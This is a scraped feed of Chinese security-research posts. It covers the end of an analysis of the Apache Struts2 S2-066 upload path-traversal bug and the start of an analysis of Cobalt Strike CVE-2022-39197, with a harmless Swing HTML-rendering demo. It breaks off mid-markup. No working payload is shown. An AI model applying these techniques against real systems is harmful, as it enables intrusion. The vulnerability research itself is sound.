style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img class="rich_pages wxw-img" data-imgfileid="100003169" data-ratio="0.44351851851851853" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0be8dee5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBdo8ChMfQaLTGfvBmR3KDE9nO2eWLdSJeJJu6oMWGzVKggW4QGSEyufQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">setParameters 经过一系列调用，最终使用 ognl.Ognl#setValue 对请求上下文进行赋值，即通过请求参数实现调用 Action 中定义的 setter 设置对应 POJO 对象的值，从而完成从 HTTP 到 Java 的参数绑定</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">也就是说我们可以通过控制传入参数来绑定Action中对应的属性</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">可以看到，当setUploadFileName被调用了两次，且第二次被重新赋值为目录穿越值</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img class="rich_pages wxw-img" data-imgfileid="100003166" data-ratio="0.39351851851851855" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=010664fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBdWcpJfP5nB4dHqeVTavTtWnyqbfD1S04eNpIhJ3xx7QfRc4NwLxwa6w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">具体的赋值逻辑在OGNL中</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">ognl.OgnlRuntime#getDeclaredMethods</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img class="rich_pages wxw-img" data-imgfileid="100003167" data-ratio="0.5592592592592592" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=197de1cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBdxjsf7obAVdN7ian3kIlibAiczx3znfHgNsQVWfC6brSV51qlHXicnqwbuA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">这里涉及到赋值顺序的问题，参考</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/" target="_blank">https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/</a></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img class="rich_pages wxw-img" data-imgfileid="100003168" data-ratio="0.8648148148148148" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=877ba8d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBddaC8Z9AuDAvOqDqJc8xiariaibibribIxvh1DmRTCSVqkJ5wzubscSYkSaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.5em;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;padding-bottom: 0.3em;border-bottom: 1px solid var(--borderColor-muted, var(--color-border-muted));color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>三、参考链接</h2><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px !important;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/" target="_blank">https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/</a></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px !important;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><br/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="7" data-source-title="https://skay.rce.la/s2_066/"><section class="js_blockquote_digest"><section>原文发表至：</section></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%22%2C%22digestLen%22%3A7%2C%22text%22%3A%22%E5%8E%9F%E6%96%87%E5%8F%91%E8%A1%A8%E8%87%B3%EF%BC%9A%E2%80%8B%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22https%3A%2F%2Fskay.rce.la%2Fs2_066%2F%22%7D"><span class="blockquote_other"><a href="https://skay.rce.la/s2_066/" target="_blank">https://skay.rce.la/s2_066/</a></span></section></blockquote><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486828">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=07c1828a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247486828%26idx%3D1%26sn%3Daace2699fb9cca4793334280e63ef8bb%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 15 Dec 2023 22:28:00 +0800</pubDate>
    </item>
    <item>
      <title>使用Tabby 分析CS RCE CVE-2022-39197</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247486828&amp;idx=2&amp;sn=665079a3cd4d219784f41de8ed30e26e</link>
      <description>使用Tabby 分析CS RCE CVE-2022-39197</description>
      <content:encoded><![CDATA[<p>
原创 <span>Skay</span> <span>2023-12-15 22:28</span> <span style="display: inline-block;">北京</span>
</p>

<p>使用Tabby 分析CS RCE CVE-2022-39197</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a84e2ca2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBdathib2ic5WZIjtX6NvatzttIy9PvXczserXUYS1GUCQJqa5KX5NfUYRQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.5em;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;padding-bottom: 0.3em;border-bottom: 1px solid var(--borderColor-muted, var(--color-border-muted));color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">Swing 标签解析</h2><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://docs.oracle.com/javase/tutorial/uiswing/components/html.html" target="_blank">https://docs.oracle.com/javase/tutorial/uiswing/components/html.html</a></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">根源来自于CS 的UI构建使用swing，而swing支持某些html标签的解析</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">测试解析demo如下</p><pre style="box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;margin-top: 0px;margin-bottom: 0px;overflow-wrap: normal;padding: 16px;overflow: auto;line-height: 1.45;color: var(--fgColor-default, var(--color-fg-default));background-color: var(--bgColor-muted, var(--color-canvas-subtle));border-radius: 6px;word-break: normal;"><span style="box-sizing: border-box;color: var(--color-prettylights-syntax-keyword);">import</span> <span style="box-sizing: border-box;">javax</span>.<span style="box-sizing: border-box;">swing</span>.*;<br/><span style="box-sizing: border-box;color: var(--color-prettylights-syntax-keyword);">public</span> <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-keyword);">class</span> <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-storage-modifier-import);">test</span> {<br/>    <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-keyword);">private</span> <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-keyword);">static</span> <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-storage-modifier-import);">void</span> <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-entity);">createAndShowGUI</span>() {<br/>        <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-storage-modifier-import);">JFrame</span>.<span style="box-sizing: border-box;color: var(--color-prettylights-syntax-entity);">setDefaultLookAndFeelDecorated</span>(<span style="box-sizing: border-box;color: var(--color-prettylights-syntax-constant);">true</span>);<br/>        <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-storage-modifier-import);">JFrame</span> <span style="box-sizing: border-box;">frame</span> = <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-keyword);">new</span> <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-storage-modifier-import);">JFrame</span>(<span style="box-sizing: border-box;color: var(--color-prettylights-syntax-string);">&#34;test&#34;</span>);<br/>        <span style="box-sizing: border-box;">frame</span>.<span style="box-sizing: border-box;color: var(--color-prettylights-syntax-entity);">setDefaultCloseOperation</span>(<span style="box-sizing: border-box;color: var(--color-prettylights-syntax-storage-modifier-import);">JFrame</span>.<span style="box-sizing: border-box;color: var(--color-prettylights-syntax-constant);">EXIT_ON_CLOSE</span>);<br/>        <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-storage-modifier-import);">JLabel</span> <span style="box-sizing: border-box;">label</span> = <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-keyword);">new</span> <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-storage-modifier-import);">JLabel</span>(<span style="box-sizing: border-box;color: var(--color-prettylights-syntax-string);">&#34;&lt;html&gt;&lt;img src=xxxxx&gt;&lt;h1&gt;hhhhhhhhhhhh&lt;/h1&gt;&#34;</span>);<br/>        <span style="box-sizing: border-box;">frame</span>.<span style="box-sizing: border-box;color: var(--color-prettylights-syntax-entity);">getContentPane</span>().<span style="box-sizing: border-box;color: var(--color-prettylights-syntax-entity);">add</span>(<span style="box-sizing: border-box;">label</span>);<br/>        <span style="box-sizing: border-box;">frame</span>.<span style="box-sizing: border-box;color: var(--color-prettylights-syntax-entity);">pack</span>();<br/>        <span style="box-sizing: border-box;">frame</span>.<span style="box-sizing: border-box;color: var(--color-prettylights-syntax-entity);">setVisible</span>(<span style="box-sizing: border-box;color: var(--color-prettylights-syntax-constant);">true</span>);<br/>    }<br/>    <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-keyword);">public</span> <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-keyword);">static</span> <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-storage-modifier-import);">void</span> <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-entity);">main</span>(<span style="box-sizing: border-box;color: var(--color-prettylights-syntax-storage-modifier-import);">String</span>[] <span style="box-sizing: border-box;">args</span>) {<br/>        <span style="box-sizing: border-box;">javax</span>.<span style="box-sizing: border-box;">swing</span>.<span style="box-sizing: border-box;">SwingUtilities</span>.<span style="box-sizing: border-box;color: var(--color-prettylights-syntax-entity);">invokeLater</span>(<span style="box-sizing: border-box;color: var(--color-prettylights-syntax-keyword);">new</span> <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-storage-modifier-import);">Runnable</span>() {<br/>            <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-keyword);">public</span> <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-storage-modifier-import);">void</span> <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-entity);">run</span>() {<br/>                <span style="box-sizing: border-box;color: var(--color-prettylights-syntax-entity);">createAndShowGUI</span>();<br/>            }<br/>        });<br/>    }<br/>}</pre><p><svg aria-hidden="true" height="16" viewBox="0 0 16 16" width="16" data-view-component="true"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img class="rich_pages wxw-img" data-imgfileid="100003173" data-ratio="0.43425925925925923" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2c2a1c58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBd02tibXfibku6bLPWLyrJHBEgwc6V7n6AibZl3TAMwEPnXFvG1GibXZlibmw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.5em;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;padding-bottom: 0.3em;border-bottom: 1px solid var(--borderColor-muted, var(--color-border-muted));color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>IMG解析触发请求</h2><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">javax.swing.text.html.HTML.Tag#allTags 定义了swing支持解析的标签</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img class="rich_pages wxw-img" data-imgfileid="100003172" data-ratio="0.42288049029622066" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" 